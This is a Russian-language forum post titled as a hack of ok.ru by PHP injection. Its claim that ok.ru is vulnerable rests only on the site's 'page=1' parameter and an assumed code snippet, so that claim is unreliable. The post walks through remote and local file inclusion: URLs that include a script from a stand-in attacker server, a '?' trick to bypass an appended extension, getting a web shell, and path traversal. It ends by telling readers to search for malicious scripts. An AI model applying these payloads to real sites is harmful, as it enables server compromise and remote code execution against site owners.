• VLMI - форум по обмену информацией. На форуме можете найти способы заработка, разнообразную информацию по интернет-безопасности, обмен знаниями, курсы/сливы.

    После регистрации будут доступны основные разделы.

    Контент форума создают пользователи, администрация за действия пользователей не несёт ответственности, отказ от ответственности. Так же перед использованием форума необходимо ознакомиться с правилами ресурса. Продолжая использовать ресурс вы соглашаетесь с правилами.
  • Подпишись на наш канал в Telegram для информации о актуальных зеркалах форума: https://t.me/vlmiclub

Взлом ok.ru с помощью php инъекции

Gan0za

Участник
Сообщения
9
Реакции
1
0 руб.
Не давно найдена уязвимость в ок.ру, и я расскажу вам как использовать эту уязвимость.

Для начало нам требуется вывести эту уязвимость.

Давайте разберем её.

Для начало выбираем любое фото или надпись на стенке , и пишем любой комментарий, обновляем страницу, нажмаем кнопку обновить и ищем в ссылке page=1

1 - это отоброжаемая страница.

Вот мы и вывели её!

Теперь мы видим что ок использует комманду page=1 для отображения запрашиваемой страницы.

Код будет выглядить так:

PHP:

<?php

$file =$_GET['page']; //Отображаемая страница

include($file);

?>

Это значит, что все, выводимое на странице, будет внедрено в пхп-код этой страницы. Следовательно атакующий может проделать что-то наподобии:

PHP:

http://www.ok.ru/index.php?page=http://www.атакующий_серв.com/вредоносный_скрипт.txt?

Если посмотреть, что происходит после выполнения инклуда, нам представится следующий код, выполненный на целевом сервере:

PHP:

<?php

$file ="http://www.атакующий_серв.com/вредоносный_скрипт.txt?"; //$_GET['page'];

include($file); //$file - это внедренный злоумышленником скрипт

?>

Мы видим, что злоумышленник произвел успешную атаку на целевой сервер.

Подробнее:

И так, почему же злоумышленник смог провести PHP-инъекцию?

Все потому что функция include()позволяет запускать удаленные файлы.

Почему в примере был указан скрипт с расширением *.txt, а не *.php?

Ответ прост, если бы скрипт имел формат *.php, он бы запустился на сервере злоумышленника, а не на целевой системе.

Так же был добавлен символ "?" в пути к внедряемому скрипту, чтобы убрать что-либо, находящееся внутри функцииinclude() на целевом сервере.

Пример:

PHP:

<?php

$file =$_GET['page'];

include($file .".php");

?>

Этот скрипт добавляет расширение *.phpк чему либо, вызываемомому коммандойinclude().

Т.е.

PHP:

http://www.атакующий_серв.com/вредоносный_скрипт.txt

Превращается в

PHP:

http://www.атакующий_серв.com/вредоносный_скрипт.txt.php

С таким именем скрипт не запустится (на сервере злоумышленника не существует фала /вредоносный_скрипт.txt.php)

По этому, мы и добавляем "?" в конец пути к вредоносному скрипту:

PHP:

http://www.атакующий_серв.com/вредоносный_скрипт.txt?.php

Но он остается исполняемым.

Проведение PHP-инъекций через уязвимость функции include().

RFI - удаленный инклюд при PHP-инъекции.

Возможность проведения RFI - довольно частая бага в двигах.

Найти ее можно следущим образом:

Допустим мы случайно набрели на страницу, в адресной строке броузера заканчивающуюся подобным образом:

PHP:

/index.php?page=main

Подставляем вместо main любое бредовое значение, например upyachka

PHP:

/index.php?page=upyachka

В ответ получим ошибку:

PHP:

Warning: main(upyachka.php): failed to open stream: No such file or directory in /home/user/www//page.php on line 3

Warning: main(upyachka.php): failed to open stream: No such file or directory in /home/user/www/page.php on line 3

Warning: main(): Failed opening 'upyachka.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php:/usr/local/share/pear') in /home/user/www/page.php on line 3

Это показывает нам на то, что инклуд осуществим.

Пробуем подставить вместо upyachkaсайт с путем до шелла (расширения файла шелла не должно указываться, или указывать его, как было описано выше)

PHP:

http://www.атакуемый_сервер.com/index.php?file=http://www.сайт_злоумышленника.com/shell

Таким образом получен шелл. Теперь нужно сообщить админу сайта об уязвимости, что бы он исправил, и злые дядьки не воспользовались багой.

LFI - локальный инклюд при PHP-инъекции.

Представим, что мы набрели на тот же уязвимый сайт

PHP:

/index.php?file=main

С кодом

PHP:

<?

..

Include ("folder/$page.htm");



?>

Это уже локальный инклюд. В этой ситуации возможен только листинг файлов:

PHP:

/index.php?page=../index.php

В следующем случае код выглядит вот таким образом:

PHP:

<?

..

Include ("$dir1/folder/page.php");



?>

В этом случае можно прописать путь к шеллу следующим образом:

Создаем папку folder на сайте, где хранится шелл, в эту папку закидываем шелл:

PHP:

http://www.сайт_злоумышленника.com/folder/shell.php

Инъекция в таком случае будет выглядить так:

PHP:

index.php?dir1=http://www.сайт_злоумышленника.com/

Если вы не знаете как написать вредоностный скрипт, то Гугл в помощь ;)
 
Сверху Снизу